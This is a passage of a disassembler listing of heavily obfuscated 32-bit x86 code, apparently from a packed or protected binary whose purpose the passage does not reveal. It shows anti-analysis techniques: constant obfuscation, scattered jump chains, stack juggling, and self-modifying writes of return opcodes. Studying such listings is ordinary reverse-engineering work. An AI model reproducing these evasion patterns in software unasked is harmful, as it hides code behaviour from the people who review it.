loc_750DB4:				; CODE XREF: _0z4jwtox:00756C4Ej
		pop	esi
		adc	edx, esi
; START	OF FUNCTION CHUNK FOR sub_748DCB


loc_750DB7:				; CODE XREF: sub_748DCB:loc_756C39j
		add	ecx, 59228D98h
		add	ecx, ebp
		add	ecx, 47B0BCE2h
		mov	[ecx], eax
		pop	ecx
		jmp	loc_754F3A
; END OF FUNCTION CHUNK	FOR sub_748DCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_750DCD:				; CODE XREF: sub_752D11:loc_749022j
		xor	eax, eax
		jmp	loc_74E2B0
; END OF FUNCTION CHUNK	FOR sub_752D11

; =============== S U B	R O U T	I N E =======================================



sub_750DD4	proc near		; CODE XREF: sub_75275A-AD15j
					; _0z4jwtox:0074C72Cp

arg_0		= dword	ptr  4

		xchg	edx, [esp+0]
		pop	edx
		xchg	edx, [esp-4+arg_0]
		jmp	sub_746E93
sub_750DD4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		shl	ebx, 1Eh
		cmp	edi, ecx
		jmp	loc_7457D7
; ---------------------------------------------------------------------------


loc_750DEA:				; DATA XREF: sub_749980+1C8Co
		mov	eax, [esp]
		push	esi
		push	0F530BE75h
		pop	esi
		sub	esi, 6A355F4Bh
		jmp	loc_754ED4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753176


loc_750DFF:				; CODE XREF: sub_753176-76B3j
		ja	loc_756609


loc_750E05:				; CODE XREF: sub_753176:loc_74932Ej
		mov	eax, [ebp-4]


loc_750E08:				; CODE XREF: _0z4jwtox:loc_755329j
		cmp	byte ptr [eax],	0F1h
		jnz	loc_755338
		jmp	loc_746D99
; END OF FUNCTION CHUNK	FOR sub_753176
; ---------------------------------------------------------------------------


loc_750E16:				; CODE XREF: _0z4jwtox:00754C63j
		js	loc_755974
		sub	ecx, edx
		jmp	sub_7564A7
; ---------------------------------------------------------------------------
		rol	ecx, 13h
		jmp	sub_746D0D
; ---------------------------------------------------------------------------
		push	0EF34F705h
		pop	eax
		add	eax, 50C84FCAh
		test	eax, 4000h
		jmp	loc_756945
; ---------------------------------------------------------------------------


loc_750E42:				; CODE XREF: _0z4jwtox:loc_754F62j
		lea	eax, sub_74F688
		mov	byte ptr [eax],	0C3h
		jmp	sub_74F688
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F688


loc_750E50:				; CODE XREF: sub_74F688j
		pop	edx
		mov	eax, [esp+4+var_4]
		jmp	loc_748D5E
; END OF FUNCTION CHUNK	FOR sub_74F688
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE46


loc_750E59:				; CODE XREF: sub_74AE46:loc_755BD4j
					; _0z4jwtox:00755BF4j
		add	ecx, 0D3E15BC5h
		xchg	ecx, [esp+0]
		jmp	loc_752D79
; END OF FUNCTION CHUNK	FOR sub_74AE46
; ---------------------------------------------------------------------------


loc_750E67:				; CODE XREF: _0z4jwtox:loc_74A4FDj
		push	edx
		call	sub_754A3D
		push	75564390h
		pop	eax
		and	eax, 0DCDF490Dh
		rol	eax, 2
		jmp	loc_74BAFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D11


loc_750E81:				; CODE XREF: sub_752D11-A4B0j
		sub	al, 99h
		push	970BC73Bh
		pop	edx
		sub	edx, 0F70B4A5Ch
		add	edx, 53ADAB2Eh
		sub	edx, 47B7C9B2h
		add	edx, 0F0507251h
		add	edx, ebp
		jmp	loc_74E033
; END OF FUNCTION CHUNK	FOR sub_752D11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7562F7


loc_750EA8:				; CODE XREF: sub_7562F7+12j
		jz	loc_74ECDD
		jmp	loc_751EC1
; END OF FUNCTION CHUNK	FOR sub_7562F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748DCB


loc_750EB3:				; CODE XREF: sub_748DCB:loc_756C3Fj
		add	eax, 79F707A7h
		xor	eax, 0A7DAAC5h
; END OF FUNCTION CHUNK	FOR sub_748DCB
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_750EBF:				; CODE XREF: sub_74AAC1:loc_74B0A7j
		call	sub_746E93
		mov	ds:off_41F158, eax
		jmp	loc_752470
; END OF FUNCTION CHUNK	FOR sub_74AAC1

; =============== S U B	R O U T	I N E =======================================



sub_750ECF	proc near		; DATA XREF: sub_74CBCF-6C2Co
		xor	eax, 0A9261620h
		rol	eax, 0Eh


loc_750ED8:				; CODE XREF: sub_746FBD:loc_7562D0j
		mov	ds:dword_756488, eax
sub_750ECF	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_74CBCF


loc_750EDE:				; CODE XREF: sub_74CBCF+Cj
					; sub_7562F7+Cj
		jns	loc_74EB91
		ror	eax, 0Eh
		xor	eax, 0A9261620h
		ror	eax, 11h
		xor	eax, 176F47E5h
		jmp	loc_75404F
; END OF FUNCTION CHUNK	FOR sub_74CBCF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_177. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_750EFC:				; CODE XREF: sub_74AAC1+CCD3j
		jmp	loc_756E98
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752C44


loc_750F01:				; CODE XREF: sub_752C44:loc_754931j
		pop	ebx
		or	eax, 0C6C95ED5h
		add	eax, 0BC264306h
		call	sub_748E45


loc_750F13:				; CODE XREF: sub_7564D5:loc_752179j
		jz	loc_750A1A
; END OF FUNCTION CHUNK	FOR sub_752C44
; START	OF FUNCTION CHUNK FOR sub_74C2C9


loc_750F19:				; CODE XREF: sub_74C2C9+97CCj
		jmp	loc_752D5F
; END OF FUNCTION CHUNK	FOR sub_74C2C9
; ---------------------------------------------------------------------------
		rol	edx, 0Ah
		sbb	ebx, 872C7216h
		test	ebx, ecx
		jmp	loc_750A14

; =============== S U B	R O U T	I N E =======================================



sub_750F2E	proc near		; CODE XREF: _0z4jwtox:0074B17Aj
					; sub_75051C:loc_75232Dp

; FUNCTION CHUNK AT 0075432C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755CB5 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00756E49 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	0A981268Bh
		pop	eax
		xor	eax, 84DB6165h
		jmp	loc_756E49
sub_750F2E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, 9DD7AB44h
		call	sub_746E93
		mov	ds:off_41F06C, eax
		lea	eax, loc_74A0DE
		call	sub_74ED53


loc_750F5E:				; CODE XREF: _0z4jwtox:007463E6j
		jmp	sub_753D0E

; =============== S U B	R O U T	I N E =======================================



sub_750F63	proc near		; CODE XREF: _0z4jwtox:0074AB5Fj
					; _0z4jwtox:007574BEp

; FUNCTION CHUNK AT 00755463 SIZE 00000006 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	2DC07D9Dh
		pop	esi
		and	esi, 878C1187h
		jmp	loc_755463
sub_750F63	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		cmp	edi, 45C43CCCh
		jmp	loc_747424
; ---------------------------------------------------------------------------
		push	30A831C0h
		pop	eax
		and	eax, 6A70E70Eh
		add	eax, 0DF903FE7h
		jmp	loc_749430
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F73B


loc_750F9A:				; CODE XREF: sub_74F73B-58CFj
					; _0z4jwtox:loc_7539E8j
		add	edx, 0C05A78FFh
		xchg	edx, [esp+30h+var_30]
		jmp	loc_74E7E2
; END OF FUNCTION CHUNK	FOR sub_74F73B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7561AB


loc_750FA8:				; CODE XREF: sub_7561AB:loc_75648Cj
		rol	eax, 8
		cmp	esi, eax
		jmp	loc_74AC92
; END OF FUNCTION CHUNK	FOR sub_7561AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746E37


loc_750FB2:				; CODE XREF: sub_746E37+DBAEj
		sbb	eax, 0CDBEE8CDh
		jmp	loc_750B05
; END OF FUNCTION CHUNK	FOR sub_746E37
; ---------------------------------------------------------------------------


loc_750FBD:				; CODE XREF: _0z4jwtox:007479B3j
		not	edx

; =============== S U B	R O U T	I N E =======================================



sub_750FBF	proc near		; CODE XREF: _0z4jwtox:0074EAC2p
		xchg	ecx, [esp+0]
		pop	ecx
		lea	eax, nullsub_252
		push	offset sub_748D47
		jmp	nullsub_295
sub_750FBF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749B76


loc_750FD3:				; CODE XREF: sub_749B76-32DAj
		pop	edx
		lea	eax, nullsub_1
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_1
; END OF FUNCTION CHUNK	FOR sub_749B76
; ---------------------------------------------------------------------------
		xchg	edi, [esp]
		mov	edx, edi
		xchg	eax, [esp]
		jmp	loc_757220
; ---------------------------------------------------------------------------
		cmp	edx, ecx
		jmp	loc_7548E0
; ---------------------------------------------------------------------------
		pop	edi
		jmp	loc_757492
; ---------------------------------------------------------------------------


loc_750FFC:				; DATA XREF: sub_74A54Ao
		call	sub_75100C
		jmp	ds:off_41F0F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_751007:				; CODE XREF: sub_747C39+8F97j
		jmp	loc_74DF09
; END OF FUNCTION CHUNK	FOR sub_747C39

; =============== S U B	R O U T	I N E =======================================



sub_75100C	proc near		; CODE XREF: _0z4jwtox:loc_74D012j
					; sub_755964-7D1Cj ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074DC4D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074DF71 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00752CAC SIZE 0000001B BYTES
; FUNCTION CHUNK AT 007562CB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756B01 SIZE 00000005 BYTES

		pop	edx
		jns	loc_74DC4D
		mov	eax, [esp+0]
		push	edx
		jmp	loc_7562CB
sub_75100C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749980


loc_75101C:				; CODE XREF: sub_749980:loc_74840Ej
		jz	loc_746C1D
		jmp	loc_74CA37
; END OF FUNCTION CHUNK	FOR sub_749980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7463AE


loc_751027:				; CODE XREF: sub_7463AE:loc_74FA55j
		jz	loc_750C41
		jmp	loc_753434
; END OF FUNCTION CHUNK	FOR sub_7463AE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_105. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_751033:				; CODE XREF: sub_747C22+2CD2j
		jmp	loc_74A6FD
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752C39


loc_751038:				; CODE XREF: sub_752C39-86B4j
		jmp	loc_74895B
; END OF FUNCTION CHUNK	FOR sub_752C39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7558D0


loc_75103D:				; CODE XREF: sub_7558D0-7F6Ej
		pop	ecx
		and	ecx, 0AF9912BEh
		jnz	loc_7472AF
		add	edx, edi
		push	ebp
		jmp	loc_7472AF
; END OF FUNCTION CHUNK	FOR sub_7558D0
; ---------------------------------------------------------------------------


loc_751052:				; CODE XREF: _0z4jwtox:0074C1F6j
		xchg	ecx, [esp]
		call	sub_74DAAF
		mov	eax, 934299CDh
		call	sub_746E93
		call	sub_74CCB1
; START	OF FUNCTION CHUNK FOR sub_750638


loc_751069:				; CODE XREF: sub_750638-2309j
		jmp	loc_746083
; END OF FUNCTION CHUNK	FOR sub_750638
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74742A


loc_75106E:				; CODE XREF: sub_74742A+405Dj
		jmp	loc_756FD7
; END OF FUNCTION CHUNK	FOR sub_74742A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F73B


loc_751073:				; CODE XREF: sub_74F73B-7749j
		jmp	loc_7503FE
; END OF FUNCTION CHUNK	FOR sub_74F73B

; =============== S U B	R O U T	I N E =======================================



sub_751078	proc near		; DATA XREF: sub_756123+5o

; FUNCTION CHUNK AT 0074A4EE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074EE4E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753514 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0075626F SIZE 00000005 BYTES

		pop	ebp
		mov	eax, dword ptr ds:loc_74F37B+1
		or	eax, eax
		jnz	loc_74A4EE
		jmp	loc_74EE4E
sub_751078	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		ja	loc_75475A
		jmp	sub_746F33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753116


loc_751097:				; CODE XREF: sub_753116-8CE8j
		and	eax, 40D83FFAh
		xor	eax, 0E962EC06h
		add	eax, 56CA2783h
		xchg	eax, [esp+0Ch+var_C]
		jmp	loc_7512DF
; END OF FUNCTION CHUNK	FOR sub_753116
; ---------------------------------------------------------------------------
		push	0B8573150h
		jmp	sub_749980
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7462C2


loc_7510BB:				; CODE XREF: sub_7462C2+8j
					; sub_7462C2:loc_747D4Cj ...
		jmp	loc_753221
; ---------------------------------------------------------------------------


loc_7510C0:				; CODE XREF: sub_7462C2+6526j
					; sub_752D11-313j
		xchg	eax, [esp-4+arg_0]
		mov	ecx, eax
		pop	eax
		xchg	edi, [esp-8+arg_4]
		mov	ebp, edi
		pop	edi
		jmp	nullsub_118
; END OF FUNCTION CHUNK	FOR sub_7462C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D424


loc_7510D1:				; CODE XREF: sub_74D424:loc_749364j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_74D424
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74BA04


loc_7510D4:				; CODE XREF: sub_74BA04+AA0Fj
		jmp	loc_756A0F
; END OF FUNCTION CHUNK	FOR sub_74BA04
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C3B3


loc_7510DA:				; CODE XREF: sub_74C3B3+6j
		jmp	loc_74C970
; END OF FUNCTION CHUNK	FOR sub_74C3B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_7510DF:				; CODE XREF: sub_747C22-298Bj
		jmp	nullsub_158
; END OF FUNCTION CHUNK	FOR sub_747C22

; =============== S U B	R O U T	I N E =======================================



sub_7510E4	proc near		; CODE XREF: sub_74D424-3760p
					; _0z4jwtox:loc_74E01Bp

; FUNCTION CHUNK AT 0074B951 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756A8E SIZE 00000014 BYTES

		push	ebp
		jmp	loc_74B951
sub_7510E4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_7510EA	proc near		; CODE XREF: _0z4jwtox:0074501Dj
					; sub_75275A-AD1Bp

; FUNCTION CHUNK AT 00747D6E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074B70E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074E6D8 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00753A23 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 007540F6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00756070 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		cmp	dword ptr [ebp-4], 0
		jnz	loc_753A23
		jmp	loc_74B70E
sub_7510EA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F78B


loc_7510FD:				; CODE XREF: sub_74F78B:loc_74ACEBj
		jl	loc_7482B4
; END OF FUNCTION CHUNK	FOR sub_74F78B
; START	OF FUNCTION CHUNK FOR sub_7501AF


loc_751103:				; CODE XREF: sub_7501AF-EE7j
		jmp	loc_751FA4
; END OF FUNCTION CHUNK	FOR sub_7501AF
; ---------------------------------------------------------------------------
		add	ebp, edi
		cdq
		xchg	esi, [edx]
		jmp	loc_7482AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_755C38


loc_751112:				; CODE XREF: sub_755C38:loc_753C9Cj
		test	edx, 40000h
		jmp	loc_7502A6
; END OF FUNCTION CHUNK	FOR sub_755C38
; ---------------------------------------------------------------------------
		push	3F7BED38h
		xchg	edx, [esp]
		mov	eax, edx
		pop	edx
		rol	eax, 14h
		jmp	loc_749C52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AAC1


loc_751130:				; CODE XREF: sub_74AAC1:loc_748DEBj
		xor	ebx, 1A58DA08h
		or	ebx, 6C0B96C6h
		rol	ebx, 18h
		xor	ebx, 97CEDC25h
		add	eax, ebx
		call	sub_747968
; END OF FUNCTION CHUNK	FOR sub_74AAC1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_240. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_75114D:				; CODE XREF: _0z4jwtox:00745BF2j
		jmp	loc_74FFB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748C3B


loc_751152:				; CODE XREF: sub_748C3B:loc_74C836j
		cmp	edx, 0C4B85550h
		jmp	loc_7489FC
; END OF FUNCTION CHUNK	FOR sub_748C3B
; ---------------------------------------------------------------------------


loc_75115D:				; CODE XREF: _0z4jwtox:0075362Bj
		popf
		adc	ebx, edi
		jmp	loc_75568B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FEAF


loc_751165:				; CODE XREF: sub_74FEAF:loc_75321Cj
		and	eax, 0A6795C56h
		add	eax, 5FFBD84Ch
		call	sub_74A045
; END OF FUNCTION CHUNK	FOR sub_74FEAF
; START	OF FUNCTION CHUNK FOR sub_7504F1


loc_751176:				; CODE XREF: sub_7504F1-AFF9j
		jmp	loc_745415
; END OF FUNCTION CHUNK	FOR sub_7504F1
; ---------------------------------------------------------------------------


loc_75117B:				; CODE XREF: _0z4jwtox:007500C0j
		jo	loc_748B18


loc_751181:				; CODE XREF: _0z4jwtox:loc_746B24j
		cmp	esi, 51A83174h
		jmp	loc_74EF2C

; =============== S U B	R O U T	I N E =======================================



sub_75118C	proc near		; CODE XREF: _0z4jwtox:00747A89j
					; _0z4jwtox:00755BC4p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0074BEAA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0074BFAE SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0074DACA SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0075119E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0075297B SIZE 0000001D BYTES

		xchg	ebx, [esp+8+var_8]
		pop	ebx
		lea	eax, loc_74DACA
		mov	byte ptr [eax],	0C3h
		jmp	loc_74DACA
sub_75118C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75118C


loc_75119E:				; CODE XREF: sub_75118C:loc_74DACAj
		pop	edx
		mov	eax, [esp+0]
		jmp	loc_74BFAE
; END OF FUNCTION CHUNK	FOR sub_75118C

; =============== S U B	R O U T	I N E =======================================



sub_7511A7	proc near		; CODE XREF: sub_754DFF-2E60j
		push	ebx
sub_7511A7	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_754DFF


loc_7511A8:				; CODE XREF: sub_754DFF:loc_74DC1Cj
		rol	eax, 15h
		add	eax, 0BA9ECEABh
		push	ebp
		jmp	loc_754936
; END OF FUNCTION CHUNK	FOR sub_754DFF
; ---------------------------------------------------------------------------


loc_7511B7:				; CODE XREF: _0z4jwtox:0074A330j
		add	eax, ebp
		add	eax, 7F79FD72h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jmp	loc_75728C
; ---------------------------------------------------------------------------


loc_7511C9:				; DATA XREF: sub_748743+1o
		push	0B83ED288h
		pop	ecx
		sub	ecx, 86C99445h
		add	ecx, 0CEFF9C72h
		xchg	ecx, [esp]
		jmp	loc_74DACA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_117. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C733


loc_7511E4:				; CODE XREF: sub_74C733:loc_746DA6j
		push	0D2640071h
		xchg	esi, [esp+0]
		mov	edi, esi
		pop	esi
		add	edi, 1AF5A684h
		xor	edi, 0E67EC5E1h
		jmp	loc_746482
; END OF FUNCTION CHUNK	FOR sub_74C733
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752D6B


loc_751200:				; CODE XREF: sub_752D6B+3j
		push	ecx
		cmp	ds:dword_74B2AC, 0
		push	offset loc_74818A
		jmp	nullsub_98
; END OF FUNCTION CHUNK	FOR sub_752D6B
; ---------------------------------------------------------------------------
		sbb	ebp, ecx
		jmp	loc_75537C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_65. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749306


loc_75121A:				; CODE XREF: sub_749306+3E07j
		jmp	loc_753482
; END OF FUNCTION CHUNK	FOR sub_749306

; =============== S U B	R O U T	I N E =======================================



sub_75121F	proc near		; DATA XREF: sub_746128:loc_74F434o

; FUNCTION CHUNK AT 0074BBED SIZE 00000016 BYTES

		and	al, 7
		mov	[ebp-0Bh], al
		xor	eax, eax
		mov	al, [ebp-0Bh]
		jmp	loc_74BBED
sub_75121F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_75122E:				; CODE XREF: sub_747AEC:loc_7515FFj
					; sub_747AEC:loc_756153j
		mov	eax, 0CF0182F6h
		call	sub_746E93
		sub	eax, 0F304E64Eh
		rol	eax, 1Dh
		sub	eax, 0BAA89B88h
		push	ecx
		jmp	loc_74D5B9
; END OF FUNCTION CHUNK	FOR sub_747AEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75051C


loc_75124D:				; CODE XREF: sub_75051C:loc_74990Bj
		add	ebx, 88938C6h
		xchg	ebx, [esp+14h+var_14]
		jmp	loc_756651
; END OF FUNCTION CHUNK	FOR sub_75051C
; ---------------------------------------------------------------------------


loc_75125B:				; CODE XREF: _0z4jwtox:loc_752565j
		mov	eax, [esp]
		push	edx
		call	sub_74DAAF
		mov	eax, 4AC5B528h
		call	sub_746E93
		mov	ds:dword_41F124, eax
		lea	eax, nullsub_4
		jmp	loc_74E739
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7529BD


loc_75127F:				; CODE XREF: sub_7529BD-A86j
		popf
		xchg	eax, [esp+4+var_4]
		jmp	loc_750095
; END OF FUNCTION CHUNK	FOR sub_7529BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746640


loc_751288:				; CODE XREF: sub_746640+11284j
		xor	edx, 563CA017h
		jnz	loc_748E43


loc_751294:				; CODE XREF: _0z4jwtox:00753A35j
		sub	esi, 0A344558Ch


loc_75129A:				; CODE XREF: sub_746640:loc_756361j
		call	sub_74ECEF
; END OF FUNCTION CHUNK	FOR sub_746640
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_146. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D21E


loc_7512A0:				; CODE XREF: sub_74D21E+Dj
		jmp	loc_7568B8
; END OF FUNCTION CHUNK	FOR sub_74D21E
; ---------------------------------------------------------------------------


loc_7512A5:				; CODE XREF: _0z4jwtox:0074BEC3j
		shl	esi, 1Ah


loc_7512A8:				; CODE XREF: _0z4jwtox:loc_74E08Aj
		mov	eax, 10h
		call	sub_7499A5


loc_7512B2:				; CODE XREF: _0z4jwtox:0074C95Ej
		jmp	loc_752CCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752957


loc_7512B7:				; CODE XREF: sub_752957:loc_74EF51j
		push	ecx
		mov	ecx, ebx
		xchg	ecx, [esp+4+var_4]
		push	0CE07B52Eh
		pop	ebx
		and	ebx, 0FB2DE4CDh
		jmp	loc_74B66A
; END OF FUNCTION CHUNK	FOR sub_752957
; ---------------------------------------------------------------------------


loc_7512CE:				; CODE XREF: _0z4jwtox:0074C9C8j
		cmp	ecx, 0C8B0283Dh
		jmp	loc_74DCCC
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_7512DA:				; CODE XREF: _0z4jwtox:007498A1j
		jmp	sub_74C2C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_753116


loc_7512DF:				; CODE XREF: sub_753116-206Aj
		call	sub_747B31
; END OF FUNCTION CHUNK	FOR sub_753116
; START	OF FUNCTION CHUNK FOR sub_751EFF


loc_7512E4:				; CODE XREF: sub_751EFF-B044j
		jmp	loc_74DE28
; END OF FUNCTION CHUNK	FOR sub_751EFF
; ---------------------------------------------------------------------------


loc_7512E9:				; CODE XREF: _0z4jwtox:loc_74F49Cj
		mov	esi, edx
		xchg	esi, [esp]
		push	0B718ACA8h
		pop	edx
		and	edx, 0A98F3675h
		add	edx, 5F39CC38h
		mov	[edx], eax
		jmp	loc_7576B3

; =============== S U B	R O U T	I N E =======================================



sub_751307	proc near		; CODE XREF: sub_74CF82+Aj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0074A77D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074AA33 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074ACCF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755469 SIZE 00000014 BYTES

		push	ebp
		mov	ebp, edx
		call	sub_75043C


loc_75130F:				; CODE XREF: sub_74A7D8+50D4j
		jo	loc_74ACCF
		cmp	ebp, 94D47AD9h
		jmp	loc_74AA33
sub_751307	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_41F11C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_754C3F


loc_751326:				; CODE XREF: sub_754C3F-8986j
		jmp	loc_746756
; END OF FUNCTION CHUNK	FOR sub_754C3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746062


loc_75132B:				; CODE XREF: sub_746062+1Cj
		jmp	sub_745BF7
; END OF FUNCTION CHUNK	FOR sub_746062
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_272. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		and	byte ptr [ebx-0Bh], 0FFh
		call	fword ptr [edx-75h]
		add	al, 24h
		jmp	loc_753A5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74B091


loc_75133F:				; CODE XREF: sub_74B091+11j
		call	sub_74BA29
		mov	ds:dword_7575B8, eax
		call	sub_754FC6
		mov	edx, 0A2CD59D9h
		call	sub_74BA29
		mov	ds:dword_751620, eax
		jmp	locret_74BA23
; END OF FUNCTION CHUNK	FOR sub_74B091
; ---------------------------------------------------------------------------


loc_751362:				; CODE XREF: _0z4jwtox:00748AA7j
		mov	byte ptr [eax],	0C3h
		jmp	loc_755DDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C39


loc_75136A:				; CODE XREF: sub_747C39+62D8j
					; _0z4jwtox:loc_7572B8j
		jnz	loc_751FC1
		jmp	loc_755449
; END OF FUNCTION CHUNK	FOR sub_747C39
; ---------------------------------------------------------------------------


loc_751375:				; CODE XREF: _0z4jwtox:0074E9A2j
		jnz	loc_74559C
		cmp	edx, ebp
		jmp	loc_745DCD
; ---------------------------------------------------------------------------
		jmp	ds:off_41F0E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746E37


loc_751388:				; CODE XREF: sub_746E37:loc_75009Fj
					; _0z4jwtox:007549D1j ...
		js	loc_7549D6
		push	offset sub_7571E0
		jmp	loc_75595A
; END OF FUNCTION CHUNK	FOR sub_746E37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_751398:				; CODE XREF: sub_747736:loc_74EDEFj
		jnz	loc_7494FE
		jmp	loc_7493FE
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------


loc_7513A3:				; DATA XREF: sub_74CF82:loc_749596o
		push	eax
		lea	eax, dword_746E88
		push	eax
		push	eax
		mov	edx, eax
		call	sub_752E0F
		jmp	loc_74E652
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75644F


loc_7513B8:				; CODE XREF: sub_75644F+Bj
		and	edx, 0F55ABCF0h
		rol	edx, 8
		sub	edx, 0E9AD1ACh
		rol	edx, 1Eh
		add	edx, 0FF748B5Fh
		xchg	edx, [esp+0]
		jmp	nullsub_272
; END OF FUNCTION CHUNK	FOR sub_75644F
; ---------------------------------------------------------------------------


loc_7513D8:				; CODE XREF: _0z4jwtox:007499ECj
		jl	loc_74E46C
		add	edx, 0C94CB4FEh

